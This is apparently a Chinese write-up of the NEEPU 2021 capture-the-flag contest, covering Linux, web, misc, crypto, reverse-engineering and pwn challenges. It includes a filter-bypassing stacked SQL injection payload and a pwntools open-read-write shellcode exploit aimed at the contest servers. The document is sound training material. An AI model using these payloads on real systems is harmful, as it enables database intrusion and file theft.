东北电力大学校赛,Web综合程度高,Crypto太少了。
Rank: 3
Noob Linux入门 Linux基本指令
ls/dir: 访问当前目录
cat: 获取当前文件内容
grep: 匹配字符串
*: 匹配一个或多个字符
?: 匹配一个字符
/: 根目录
hint: Linux的系统配置文件主要放在哪里?
Linux命令大考察。
ls -al
当前目录发现 hint.txt
cat hint.txt
查看内容:尝试访问根目录
ls -al /
根目录发现flag
文件
cat /flag
查看内容:可以尝试grep
在根目录逐个文件夹用grep
命令试,在/etc
下发现关键字:
grep -r -n "Neepu{" /etc
结果:
/etc/neepu.conf:1:Neepu{f782fecc-2e63-4819-8dd4-f2b2584c85b0}
最强大脑 不会吧,不会吧,不会有人不喜欢算算术吧…
10s限时算数题,利用python里的requests包处理就好:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 import requestsurl = 'http://neepusec.club:18495/' s = requests.Session() r = s.get(url) html = r.text start = html.index('<div id="timerSeconds" style="color:red; font-size: 70"></div>' )+len ('<div id="timerSeconds" style="color:red; font-size: 70"></div>' )+8 end = start+html[start:].index(' = ?' ) for i in range (100 ): cal = html[start:end].replace(' ' ,'' ) r = s.post(url,data={'answer' :str (eval (cal))}) if 'success' in r.text: print ((i+1 ,'success' )) if 'Neepu{' in r.text: print (i+1 ) print (r.text) break html = r.text start = html.index('<div id="timerSeconds" style="color:red; font-size: 70"></div>' )+len ('<div id="timerSeconds" style="color:red; font-size: 70"></div>' )+8 end = start+html[start:].index(' = ?' )
随便注2.0 如果我告诉你网上有原题,你能做的出来吗?
百度/谷歌搜索: [强网杯 2019]随便注
强网杯2019 随便注原题魔改,堆叠注入,照着来。
1' union select 1,2,database()#
得到过滤规则 return preg_match("/select|update|delete|drop|insert|where|rename|set|handler|char|\*| | |\./i",$inject);
空格用%0a
代替,尝试堆叠注入:
0';show%0adatabases;#
得到数据库名:ctftraining, information_schema, mysql, performance_schema, supersqli, test
0';show%0atables;#
得到表名:@Neepu2021招新赛, words
0';desc%0a`@Neepu2021招新赛`;#
得到列名:flag, NO
原题有重命名法 和预处理法 可得flag,这里rename
和set
被禁,可用prepare
预处理+execute
执行 的方法,构造select flag from `@Neepu2021招新赛`
16进制字符串,代入预处理语句拿flag:
1';prepare%0axxx%0afrom%0a0x73656c65637420666c61672066726f6d2060404e6565707532303231e68b9be696b0e8b59b60;execute%0axxx;#
Web remote_table 这真的是远程桌面吗?或许吧…
翻一圈源码,在notfound.html
找到flag。
LOVE_DEATH&ROBOTS Beauty and danger coexist, and the magnificence, weirdness, and extraordinary view of the world often lie in peril, and human beings are rare, so people who do not have aspirations cannot come.
根据标题ROBOTS,容易想到robots.txt
,访问发现/n33pvfl4g.php
,再访问n33pvfl4g.php
得flag。
Misc 15 Puzzle! You can do it!
手拼就是了,拼完有flag。
龙会说话? 龙会聊天吗?
第一层,一个文件 dragon 和一个加密压缩包 dragon’s talk.rar。
010editor查看 dragon,发现尾部49454E44AE426082
是png文件尾,查找文件头89504E47
,分离出png图片:
找到龙语解码工具 ,解出youseethedragon
为rar密码。
第二层,一个 dragon’s talk.wav 文件。
用audacity未发现什么信息,尝试LSB隐写,用Silenteye 无密码得到隐藏文件flag.txt。
Crypto RSA Just RSA!
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 from Crypto.Util.number import *from sympy import nextprimeimport gmpy2import randomdef encode (p1,p2,e): not_hint = (p1 + 1 ) * (p2 + 1 ) S = gmpy2.invert(e, not_hint) not_p = S%(p1+1 ) return not_p flag = b'Neepu{********************}' flag = bytes_to_long(flag) p = getPrime(512 ) q = getPrime(512 ) n = p*q e = nextprime(random.randint(1 ,1000 )) d = gmpy2.invert(e, (p-1 )*(q-1 )) c = pow (flag, e, n) print (c)print (n)m = encode(p, q, e) c1 = pow (m, 7 , n) c2 = pow (m+e, 7 , n) print (c1)print (c2)'78543767285872349029076059073458316000847341792088805258173041942425687239313215276670106926320359777962661495032475004417723103701253550583245518206305422982968675291500865382213182669036827898932991063338163290845510339896689210314509493839746410486257998875782496654704288722251878269643040214139429715671' '91995272927105081122659192011056020468305570748555849650309966887236871318156855318666540461669669247866754568189179687694315627673545298267458869140096224628114424176937828378360997230874932015701507629238213240839370628366083111028544554453150572165461450371411341485911677167168492357154684642531577228543' '10186066785511829759164194803209819172224966119227668638413350199662683285189286077736537161204019147791799351066849945954518642600518196927152098131117402608793752080104402893792812059620726950782670809837962606250674588612783027976958719051829085903720655233948024280118985875980227528403883475592567727892' '46182103994299145562022812023438495797686077104477472631494150222038404419414100727667171290098624214113241032861128455086601197239761085752413519627251290509474327611253599768650908336142621210005389246714504358370629231557080301516460985022782887233790302054696967900384601182742759555421864610431428746119'
两部分:
第一部分 $n=pq,c=\text{flag}^e \bmod n$,
第二部分 $m=\text{enc}(p,q,e),c_1=m^7 \bmod n,c_2=(m+e)^7 \bmod n$。
先解第二部分,利用Related Message Attack求解 $m$,由于 $e$ 未知且 $e<1010$,爆破 $e$ 求出 $m$:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 import binasciidef attack (c1, c2, n, e ): PR.<x> = PolynomialRing(Zmod(n)) g1 = (x)^7 - c1 g2 = (x+e)^7 - c2 def gcd (g1, g2 ): while g2: g1, g2 = g2, g1 % g2 return g1.monic() return -gcd(g1, g2)[0 ] c1 = 10186066785511829759164194803209819172224966119227668638413350199662683285189286077736537161204019147791799351066849945954518642600518196927152098131117402608793752080104402893792812059620726950782670809837962606250674588612783027976958719051829085903720655233948024280118985875980227528403883475592567727892 c2 = 46182103994299145562022812023438495797686077104477472631494150222038404419414100727667171290098624214113241032861128455086601197239761085752413519627251290509474327611253599768650908336142621210005389246714504358370629231557080301516460985022782887233790302054696967900384601182742759555421864610431428746119 n = 91995272927105081122659192011056020468305570748555849650309966887236871318156855318666540461669669247866754568189179687694315627673545298267458869140096224628114424176937828378360997230874932015701507629238213240839370628366083111028544554453150572165461450371411341485911677167168492357154684642531577228543 for e in range (1 ,1000 ): m = attack(c1, c2, n, e) try : if pow (m,7 ,n) == c1: print ((e,m)) except : pass
又 $m=\text{enc}(p,q,e)$,即 $eS=ed \equiv 1 \pmod {(p+1)(q+1)},dp=S \bmod (p+1)=d \bmod (p+1)$,
由于 $e \cdot dp \equiv e \cdot d \equiv 1 \pmod {(p+1)}$,有 $e \cdot dp-1=k \cdot (p+1)$,
比较 $e \cdot dp$ 与 $p$ 比特位数相近,故 $k$ 值不大,
爆破 $k$,当同时满足 $(e \cdot dp-1) \bmod k =0$ 和 $n \bmod \Big(\cfrac{e \cdot dp-1}{k}-1\Big)$ 时,$n$ 成功分解。
1 2 3 4 5 6 7 8 9 10 11 n = 91995272927105081122659192011056020468305570748555849650309966887236871318156855318666540461669669247866754568189179687694315627673545298267458869140096224628114424176937828378360997230874932015701507629238213240839370628366083111028544554453150572165461450371411341485911677167168492357154684642531577228543 dp = 129256555243625096140386916253259867206651269142565502540823654159666398099455456877012993395632742360829588042575108302297567291349420390228163587340859 e = 71 c = 78543767285872349029076059073458316000847341792088805258173041942425687239313215276670106926320359777962661495032475004417723103701253550583245518206305422982968675291500865382213182669036827898932991063338163290845510339896689210314509493839746410486257998875782496654704288722251878269643040214139429715671 for k in range (1 ,10000 ): if (e*dp-1 )%k == 0 : p = (e*dp-1 )//k-1 if n%p == 0 : q = n//p print ((k,p,q))
最后常规RSA求得flag。
AES 简单的AES
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 from Crypto.Cipher import AESimport osfrom Crypto.Util.number import *flag = os.urandom(18 ) flag_enc = os.urandom(45 ) pad = b'a' * 12 + b'Neepu{' flag_enc = pad+flag_enc+b'}' masg1 = flag_enc[0 :32 ] masg2 = flag_enc[32 : ] m = bytes_to_long(masg1)^bytes_to_long(masg2) key = os.urandom(2 )*16 iv = masg2[16 :][:16 ] print (bytes_to_long(key)^bytes_to_long(iv))aes = AES.new(key,AES.MODE_CBC,iv) enc_flag = aes.encrypt(long_to_bytes(m)) print (enc_flag)''' 111074535590201916919246051309547040927554959486196038152130336189953949145068 b'\xd8\x83\xfd\x89\xc3+\x11\xb8g\xd2\xf5k\xeeU\x88\xb5\xde\x8bq\x9bC\xab\xe3K2R<\xaa\xbc\x92H\x19' '''
先看flag_enc
由64字符构成,已知前18字符 aaaaaaaaaaaaNeepu{
和后1字符 }
。
拆半分别为前32字符 masg1
和后32字符 masg2
,异或值 m = masg1^masg2
,
通过AES-CBC加密,key形如 xyxyxyxyxyxyxyxyxyxyxyxyxyxyxyxy
,iv为 masg2
后16字符,已知 key^iv
。
从key入手,key只有两位未知,爆破key值,同时得到iv值,利用iv值16位 和最后1位字符为}
,得到key和iv值:
1 2 3 4 5 6 7 8 9 10 11 tmp=111074535590201916919246051309547040927554959486196038152130336189953949145068 for i in range (256 ): for j in range (256 ): key = bytes ([i,j])*16 iv = long_to_bytes(tmp^bytes_to_long(key)) if len (iv) == 16 and iv[-1 ] == ord ('}' ): print (iv) print (key)
由key和iv值+密文 enc
解出 m
。
此时,前32字符 masg1
已知前16字符aaaaaaaaaaaaNeep
,后32字符 masg2
已知后16字符 fefcsukobhmtfhb}
,根据 m = masg1^masg2
分别异或得到另一半:
1 2 3 4 5 6 7 8 9 10 11 iv = b'fefcsukobhmtfhb}' key = b'\xf5\x91' *16 aes = AES.new(key,AES.MODE_CBC,iv) m = aes.decrypt(enc) print (m)masg1 = (b'a' *12 + b'Neep' ) + long_to_bytes(bytes_to_long(iv)^bytes_to_long(m[16 :])) masg2 = long_to_bytes(bytes_to_long(b'a' *12 +b'Neep' )^bytes_to_long(m[:16 ])) + iv flag_enc = masg1 + masg2
发现代码里 flag
和 flag_enc
无直接关联,观察 flag_enc
为键盘加密,解密得 flag
:Neepu{are-you-kidding}
。
RE OLLEH !ni ngis ER laeR
hint: 师傅们如果做出来了请将flag框架改为Neepu{},给师傅们带来不便,非常抱歉
IDA,main()
:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 _main(); strcpy ((char *)v20, "416:99A:77" ); v20[6 ] = 0 ; LOBYTE(v20[7 ]) = 0 ; memset (v14, 0 , sizeof (v14));v14[0 ] = 1 ; v14[1 ] = 1 ; for ( i = 2 ; i <= 19 ; ++i ) v14[i] = v14[i - 2 ] + v14[i - 1 ]; for ( i = 0 ; i <= 9 ; ++i ) *(&v4 + i) = *((char *)v20 + i) - (v14[i] & 0xF ); v17[0 ] = 'OLLEH' ; v17[1 ] = 0 i64; v18 = 0 ; strcpy (v15, "flag{world_Vjea}" ); for ( j = 0 ; j <= 4 ; ++j ) v16[j] = *((_BYTE *)v17 + j); for ( j = 5 ; j <= 9 ; ++j ) v16[j] = v15[j]; puts ("Welcome to the 2021 NEEPUCTF" );puts ("Now you can enjoy it" );puts ("Please input right number:" );scanf ("%s" , Str);v21 = strlen (Str); if ( v21 != 10 ){ puts ("Try again" ); exit (0 ); } if ( v4 == Str[0 ] && v5 == Str[1 ] && v6 == Str[2 ] && v7 == Str[3 ] && v8 == Str[4 ] && v9 == Str[5 ] && v10 == Str[6 ] && v11 == Str[7 ] && v12 == Str[8 ] && v13 == Str[9 ] ) { printf ("OK,FLAG is NEEPU{MD5{%s%d%d%d%d%d}}" , v16, v4, v5, v6, v7, v8); getchar(); } else { puts ("byebye" ); } system("pause" ); return 0 ;
按代码逻辑,拼接得 v16 = HeLLOworld
,v4~v8 = 30474
,由于 v4~v8
格式化输出为 %d
,转化为对应ASCII值。
flag得到:Neepu{md5(HeLLOworldworld5148525552)}
ez_re ezRE, wryyyyy~
两个文件,easyre.dll 和 easyre.exe。
exeinfope查看easyre.dll,发现是.NET程序,上ILSpy:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 internal class Program { private static void Main (string[] args) { string text = "mT0b" ; string text2 = "D{0S" ; string text3 = "Dg9E" ; string text4 = "OD_}" ; char [] array = new char [4 ]; char [] array2 = new char [4 ]; char [] array3 = new char [4 ]; char [] array4 = new char [4 ]; array[0 ] = text.get_Chars (0 ); array[1 ] = text2.get_Chars (0 ); array[2 ] = text3.get_Chars (0 ); array[3 ] = text4.get_Chars (0 ); array2[0 ] = text.get_Chars (1 ); array2[1 ] = text2.get_Chars (1 ); array2[2 ] = text3.get_Chars (1 ); array2[3 ] = text4.get_Chars (1 ); array3[0 ] = text.get_Chars (2 ); array3[1 ] = text2.get_Chars (2 ); array3[2 ] = text3.get_Chars (2 ); array3[3 ] = text4.get_Chars (2 ); array4[0 ] = text.get_Chars (2 ); array4[1 ] = text2.get_Chars (2 ); array4[2 ] = text3.get_Chars (2 ); array4[3 ] = text4.get_Chars (2 ); Encrypt1 (array); Encrypt1 (array2); Encrypt1 (array3); Encrypt1 (array4); } public static void Encrypt1 (char [] string1) { int num = string1.Length; for (int i = 0 ; i < num; i++) { if (string1[i] >= 'a' && string1[i] <= 'z' ) { if (string1[i] >= 'a' && string1[i] <= 'y' ) { string1[i] = (char )(string1[i] - 31 ); } else { string1[i] = 'A' ; } } else if (string1[i] >= 'A' && string1[i] <= 'Z' ) { if (string1[i] >= 'A' && string1[i] <= 'Y' ) { string1[i] = (char )(string1[i] + 33 ); } else { string1[i] = 'a' ; } } else if (string1[i] >= '0' && string1[i] <= '9' ) { if (string1[i] == '9' ) { string1[i] = '0' ; } else { string1[i] = (char )(string1[i] + 1 ); } } } } }
看Main(),按逻辑得 array1~4
分别为 mDDO,T{gD,009_,bSE}
,再看Encrypt1(),a-z
移位-31,A-Z
移位33,0-9
移位1,操作后得 Neepu{He110_Ctf}
。
login login in please :)
login文件夹里包含usrs_info2.pickle序列化文件,确定是python程序。
pyinstxtractor解包exe为pyc,再uncompyle6反编译retest2.pyc
为python源码,找到flag。
ppap 最近小猫爱上了闯关
查壳发现upx壳,工具脱壳。
IDA,main()
:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 sub_40DA40(); LABEL_2: puts ("ppap" ); puts ("The cat is very cute, do you like it?" ); puts ("My cat is lost, help me" ); puts ("please input your cat's name'" ); puts ("tell me 1+2=?" ); scanf ("%256s\n" , Str); v3 = strlen (Str); v11 = (const char *)sub_401500(Str, v3); for ( i = 0 ; ; ++i ) { v4 = i; if ( v4 >= strlen (v11) ) break ; v7[i] = v11[i]; } strcpy (v8, "WfYe2KYaXv77PYctBWI5ZZInCucHCYcxPZHpAvq71ecmBXE54ZIc" ); memset (v9, 0 , sizeof (v9)); sub_40167D(v7); sub_401746(v7); for ( j = 0 ; ; ++j ) { v5 = j; if ( v5 >= strlen (v7) ) break ; if ( v7[j] != v8[j] ) { printf ("ppap" ); goto LABEL_2; } } puts ("Yes, you are right" ); system("pause" ); return 0 ;
函数 sub_40167D()
:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 char *__cdecl sub_40167D (char *Str) { size_t i; strlen (Str); for ( i = 0 ; i < strlen (Str); ++i ) { if ( Str[i] <= 64 || Str[i] > 90 ) { if ( Str[i] <= 96 || Str[i] > 122 ) Str[i] = Str[i]; else Str[i] -= 32 ; } else { Str[i] += 32 ; } } return Str; }
函数 sub_401746()
:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 char *__cdecl sub_401746 (char *Str) { size_t i; for ( i = 0 ; i < strlen (Str); ++i ) { if ( Str[i] <= 64 || Str[i] > 90 ) { if ( Str[i] > 96 && Str[i] <= 122 ) Str[i] = (Str[i] - 97 + 3 ) % 26 + 97 ; } else { Str[i] = (Str[i] - 65 + 3 ) % 26 + 65 ; } } return Str; }
将 v8
字符串先按函数 sub_401746()
还原,再按函数 sub_40167D()
还原:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 s='WfYe2KYaXv77PYctBWI5ZZInCucHCYcxPZHpAvq71ecmBXE54ZIc' s=list (s.encode()) t=[-1 ]*len (s) tt=[-1 ]*len (s) for i in range (len (s)): for j in range (32 ,128 ): c=j if c<=64 or c>90 : if c>96 and c<=122 : c=(c-97 +3 )%26 +97 else : c=(c-65 +3 )%26 +65 if c==s[i]: t[i]=j break for i in range (len (t)): for j in range (32 ,128 ): c=j if c<=64 or c>90 : if c<=96 or c>122 : c=c else : c-=32 else : c+=32 if c==t[i]: tt[i]=j break print (bytes (tt))
解自定义码表下的base64得flag。
ez Do you like basketball?
IDA,main()
:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 sub_40E3F0(); puts ("Do you like basketball?" );scanf ("%s" , Source); strcpy (Destination, Source); memset (v7, 0 , sizeof (v7));memset (v8, 0 , 0x80 u);sub_40235D(Source, v7, "flag{Would_you_like_basketball?}" ); v28 = 32 ; v24[0 ] = 2 ; v24[1 ] = 2 ; v24[2 ] = 3 ; v24[3 ] = 4 ; puts ("please input your lucky number" );for ( i = 0 ; i <= 1 ; ++i ) scanf ("%d" , &v25 + i); for ( j = 0 ; j <= 1 ; ++j ) scanf ("%d" , &v22 + j); for ( k = 0 ; k <= 1 ; ++k ) scanf ("%d" , &v20 + k); for ( l = 0 ; l <= 1 ; ++l ) scanf ("%d" , &v18 + l); v4[0 ] = v25; v4[1 ] = v26; v4[2 ] = v22; v4[3 ] = v23; v4[4 ] = v20; v4[5 ] = v21; v4[6 ] = v18; v4[7 ] = v19; for ( m = 0 ; m <= 7 ; ++m ) { for ( n = 7 ; n > m; --n ) { if ( v4[n] < v4[n - 1 ] ) { v27 = v4[n]; v4[n] = v4[n - 1 ]; v4[n - 1 ] = v27; } } } sub_40152F(&v25, v24); sub_40152F(&v22, v24); sub_4015FD(v28, &v20, v24); sub_4015FD(v28, &v18, v24); memset (v9, 0 , sizeof (v9));v9[0 ] = 81 ; v9[1 ] = 116 ; ...... v9[46 ] = 7 ; v9[47 ] = 8 ; v16 = -1621115832 ; v17 = -984516975 ; v14 = 616429839 ; v15 = 807110888 ; v12 = -1837822886 ; v13 = -1596355058 ; v10 = -1915738221 ; v11 = 1331005540 ; if ( v25 != -1621115832 || v26 != v17 || v14 != v22 || v15 != v23 || v12 != v20 || v13 != v21 || v10 != v18 || v11 != v19 ) { printf ("you are wrong" ); exit (0 ); } for ( ii = 0 ; ii <= 47 ; ++ii ) *(_DWORD *)&v8[4 * ii + 128 ] = v4[ii % 8 ] ^ v7[ii]; for ( jj = 0 ; jj <= 47 ; ++jj ){ if ( v9[jj] != *(_DWORD *)&v8[4 * jj + 128 ] ) exit (0 ); } printf ("Right,FLAG is Neepu{%s}\n" , Destination);system("PAUSE" ); return 0 ;
函数 sub_40235D(Source,out,key)
:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 void __cdecl sub_40235D (char *Str, void *a2, char *a3) { void *Src; size_t Size; void *Block; size_t v6; size_t v7; if ( Str && a2 && a3 ) { v7 = strlen (Str); v6 = strlen (a3); Block = (void *)sub_418710(v7 + 1 ); memcpy (Block, Str, v7 + 1 ); sub_401E22(Block, v7, a3, v6); Size = 0 ; Src = 0 ; sub_4020DE(Block, v7, (int )&Src, (int )&Size); if ( Src ) { memcpy (a2, Src, Size); *((_BYTE *)a2 + Size) = 0 ; if ( Src ) j_j_free(Src); Src = 0 ; } if ( Block ) j_j_free(Block); } }
函数 sub_40152F()
:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 unsigned int __cdecl sub_40152F (unsigned int *a1, _DWORD *a2) { unsigned int result; unsigned int i; int v4; unsigned int v5; unsigned int v6; v6 = *a1; v5 = a1[1 ]; v4 = 0 ; for ( i = 0 ; i <= 0x1F ; ++i ) { v4 -= 1640531527 ; v6 += (v5 + v4) ^ (16 * v5 + *a2) ^ ((v5 >> 5 ) + a2[1 ]); v5 += (v6 + v4) ^ (16 * v6 + a2[2 ]) ^ ((v6 >> 5 ) + a2[3 ]); } *a1 = v6; result = v5; a1[1 ] = v5; return result; }
函数 sub_4015FD()
:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 unsigned int __cdecl sub_4015FD (unsigned int a1, unsigned int *a2, int a3) { unsigned int result; unsigned int v4; unsigned int v5; unsigned int v6; unsigned int i; v6 = *a2; v5 = a2[1 ]; v4 = 0 ; for ( i = 0 ; i < a1; ++i ) { v6 += (((v5 >> 5 ) ^ (16 * v5)) + v5) ^ (*(_DWORD *)(4 * (v4 & 3 ) + a3) + v4); v4 -= 1640531527 ; v5 += (((v6 >> 5 ) ^ (16 * v6)) + v6) ^ (*(_DWORD *)(4 * ((v4 >> 11 ) & 3 ) + a3) + v4); } *a2 = v6; result = v5; a2[1 ] = v5; return result; }
根据上面逻辑,先利用TEA和XTEA解密算法由 v10~v17
解密得到初始值 v25,v26,v22,v23,v20,v21,v18,v19
:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 def decrypt (v, k ): v0 = v[0 ] v1 = v[1 ] x = 0xC6EF3720 delta = 0x9E3779B9 k0 = k[0 ] k1 = k[1 ] k2 = k[2 ] k3 = k[3 ] for i in range (32 ): v1 -= ((v0 << 4 ) + k2) ^ (v0 + x) ^ ((v0 >> 5 ) + k3) v1 = v1 & 0xFFFFFFFF v0 -= ((v1 << 4 ) + k0) ^ (v1 + x) ^ ((v1 >> 5 ) + k1) v0 = v0 & 0xFFFFFFFF x -= delta x = x & 0xFFFFFFFF v[0 ] = v0 v[1 ] = v1 return v if __name__ == '__main__' : encrypted = key = [2 , 2 , 3 , 4 ] decrypted = decrypt(encrypted, key) print (decrypted)
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 def decrypt (rounds, v, k ): v0 = v[0 ] v1 = v[1 ] delta = 0x9E3779B9 x = delta * rounds for i in range (rounds): v1 -= (((v0 << 4 ) ^ (v0 >> 5 )) + v0) ^ (x + k[(x >> 11 ) & 3 ]) v1 = v1 & 0xFFFFFFFF x -= delta x = x & 0xFFFFFFFF v0 -= (((v1 << 4 ) ^ (v1 >> 5 )) + v1) ^ (x + k[x & 3 ]) v0 = v0 & 0xFFFFFFFF v[0 ] = v0 v[1 ] = v1 return v if __name__ == '__main__' : encrypted = key = [2 , 2 , 3 , 4 ] rounds = 32 decrypted = decrypt(rounds, encrypted, key) print (decrypted)
结果:
1 2 3 4 [0x9F5FBC48,0xC5517691] -> [1,1] [0x24BDF90F,0x301B88E8] -> [3,4] [0x92750C5A,0xA0D98E0E] -> [2,5] [0x8DD02793,0x4F558864] -> [8,7]
故 v4 = [1,1,2,3,4,5,7,8]
,又 v9 = v8 = v4^v7
,异或得到 v7
,先base64解码再RC4解密可得输入的 Source
值,即为flag。
PWN ncc 经典nc!
PWN题连接方式: nc neepusec.club 端口
ls /
发现目录下有 /flag
,但没有 cat
等常见的查看文件内容命令。
cd /bin
进到 /bin
目录下,ls
发现目录下有 sh
脚本执行命令,直接 sh /flag
利用报错泄露 /flag
文件内容。
easy_shellcode easy shellcode?
flag在./flag
checksec发现无任何保护,IDA查看:
1 2 3 4 5 6 7 8 9 10 11 __int64 __fastcall main (__int64 a1, char **a2, char **a3) { void *buf; sub_9C3(a1, a2, a3); buf = (void *)(int )mmap((void *)0x23330000 , 0x1000 uLL, 7 , 34 , -1 , 0LL ); puts ("just learn orw" ); read(0 , buf, 0x200 uLL); ((void (*)(void ))buf)(); return 0LL ; }
函数 sub_9C3(a1,a2,a3)
:
1 2 3 4 5 6 7 8 unsigned int sub_9C3 () { setvbuf(stdin , 0LL , 2 , 0LL ); setvbuf(stdout , 0LL , 2 , 0LL ); setvbuf(stderr , 0LL , 2 , 0LL ); sub_8CA(); return alarm(0x3C u); }
函数 sub_8CA()
:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 unsigned __int64 sub_8CA () { __int16 v1; __int16 *v2; __int16 v3; char v4; char v5; int v6; __int16 v7; char v8; char v9; int v10; __int16 v11; char v12; char v13; int v14; __int16 v15; char v16; char v17; int v18; __int16 v19; char v20; char v21; int v22; __int16 v23; char v24; char v25; int v26; unsigned __int64 v27; v27 = __readfsqword(0x28 u); v3 = 32 ; v4 = 0 ; v5 = 0 ; v6 = 4 ; v7 = 21 ; v8 = 0 ; v9 = 2 ; v10 = -1073741762 ; v11 = 32 ; v12 = 0 ; v13 = 0 ; v14 = 0 ; v15 = 21 ; v16 = 0 ; v17 = 1 ; v18 = 59 ; v19 = 6 ; v20 = 0 ; v21 = 0 ; v22 = 0 ; v23 = 6 ; v24 = 0 ; v25 = 0 ; v26 = 2147418112 ; v1 = 6 ; v2 = &v3; prctl(38 , 1LL , 0LL , 0LL , 0LL ); prctl(22 , 2LL , &v1); return __readfsqword(0x28 u) ^ v27; }
在函数 sub_8CA()
发现 prctl()
函数。
prctl是基本的进程管理函数,最原始的沙箱规则就是通过prctl函数来实现的,它可以决定有哪些系统调用函数可以被调用,哪些系统调用函数不能被调用。
沙箱(Sandbox)是程序运行过程中的一种隔离机制,其目的是限制不可信进程和不可信代码的访问权限。seccomp是内核中的一种安全机制,seccomp可以在程序中禁用掉一些系统调用来达到保护系统安全的目的,seccomp规则的设置,可以使用prctl函数和seccomp函数族。
使用 seccomp-tools dump ./pwn
看下哪些函数可用:
发现只要不是 execve()
都可以使用,使用 open->read->write
这样的orw的方式获取flag。
mmap()
把从0x23330000开始的地址,大小为0x1000的长度,权限改为可写可执行。
所以只需要写入orw类型的shellcode,然后跳转执行:
1 2 3 4 5 6 7 8 9 10 from pwn import *context.arch = 'amd64' context.log_level = 'debug' p = remote('neepusec.club' , 18146 ) mmap = 0x23330000 orw_payload = shellcraft.open ('./flag' ) orw_payload += shellcraft.read(3 ,mmap,0x50 ) orw_payload += shellcraft.write(1 ,mmap,0x50 ) p.sendlineafter('orw\n' , asm(orw_payload)) p.interactive()